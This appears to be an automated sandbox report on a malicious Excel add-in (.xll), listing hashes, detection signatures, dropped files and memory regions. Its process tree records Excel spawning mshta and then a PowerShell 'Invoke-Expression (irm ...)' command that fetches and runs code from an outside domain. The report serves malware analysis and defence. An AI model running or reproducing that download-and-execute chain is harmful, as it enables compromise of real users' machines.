Analysis

  • max time kernel
    135s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 22:23

General

  • Target

    4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll

  • Size

    12KB

  • MD5

    98aaca320e0f19a57d606415e5b2dd83

  • SHA1

    1a1211bc9bf9a7df0844f160f25e04bb0f55c1c6

  • SHA256

    4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9

  • SHA512

    f48a48f3d893fceb3282d29c7d1324513f7c21795009f5903981d0fcf1b1471e520dd802c483e19c45d49a1269593b83f4b230fae96c255b2cd14b37f2eb5ab1

  • SSDEEP

    192:TL29RBzDzeobchBj8JONSONuMpruQrEPEjr7Ahp:P29jnbcvYJOvhuQvr7Cp

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:852

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6TQEXKX3\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll

    Filesize

    12KB

    MD5

    98aaca320e0f19a57d606415e5b2dd83

    SHA1

    1a1211bc9bf9a7df0844f160f25e04bb0f55c1c6

    SHA256

    4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9

    SHA512

    f48a48f3d893fceb3282d29c7d1324513f7c21795009f5903981d0fcf1b1471e520dd802c483e19c45d49a1269593b83f4b230fae96c255b2cd14b37f2eb5ab1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptaygc2d.15v.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/852-57-0x00000000064A0000-0x00000000064BE000-memory.dmp

    Filesize

    120KB

  • memory/852-58-0x00000000064F0000-0x000000000653C000-memory.dmp

    Filesize

    304KB

  • memory/852-60-0x00000000069C0000-0x00000000069DA000-memory.dmp

    Filesize

    104KB

  • memory/852-59-0x0000000007D10000-0x000000000838A000-memory.dmp

    Filesize

    6.5MB

  • memory/852-56-0x0000000006030000-0x0000000006384000-memory.dmp

    Filesize

    3.3MB

  • memory/852-46-0x0000000005E30000-0x0000000005E96000-memory.dmp

    Filesize

    408KB

  • memory/852-45-0x0000000005DC0000-0x0000000005E26000-memory.dmp

    Filesize

    408KB

  • memory/852-42-0x0000000004F00000-0x0000000004F36000-memory.dmp

    Filesize

    216KB

  • memory/852-44-0x00000000055F0000-0x0000000005612000-memory.dmp

    Filesize

    136KB

  • memory/852-43-0x00000000056E0000-0x0000000005D08000-memory.dmp

    Filesize

    6.2MB

  • memory/2472-17-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-86-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-16-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-3-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-15-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-5-0x00007FFB1AC2D000-0x00007FFB1AC2E000-memory.dmp

    Filesize

    4KB

  • memory/2472-4-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-7-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-6-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-12-0x00007FFAD83C0000-0x00007FFAD83D0000-memory.dmp

    Filesize

    64KB

  • memory/2472-87-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-11-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-0-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-9-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-13-0x00007FFAD83C0000-0x00007FFAD83D0000-memory.dmp

    Filesize

    64KB

  • memory/2472-2-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-8-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-1-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-67-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-83-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-85-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-14-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB

  • memory/2472-84-0x00007FFADAC10000-0x00007FFADAC20000-memory.dmp

    Filesize

    64KB

  • memory/2472-10-0x00007FFB1AB90000-0x00007FFB1AD85000-memory.dmp

    Filesize

    2.0MB